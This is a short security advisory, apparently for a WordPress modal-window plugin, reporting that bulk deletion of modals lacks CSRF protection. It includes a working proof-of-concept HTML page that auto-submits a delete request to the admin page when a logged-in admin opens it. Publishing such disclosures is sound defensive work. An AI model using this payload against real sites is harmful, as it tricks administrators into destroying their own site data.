Description The plugin does not have CSRF check in place when bulk deleting modals, which could allow attackers to make a logged in admin delete them via a CSRF attack

Have a logged in admin open an HTML file containing where `ID` is an existing modal: 

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=modal-window" method="POST">
        <input type="text" name="ID" value="1" />
        <input type="text" name="action" value="delete-items" />
        <input type="text" name="action2" value="delete-items" />
        action
        <input type="submit" value="submit">
    </form>
</body>
```
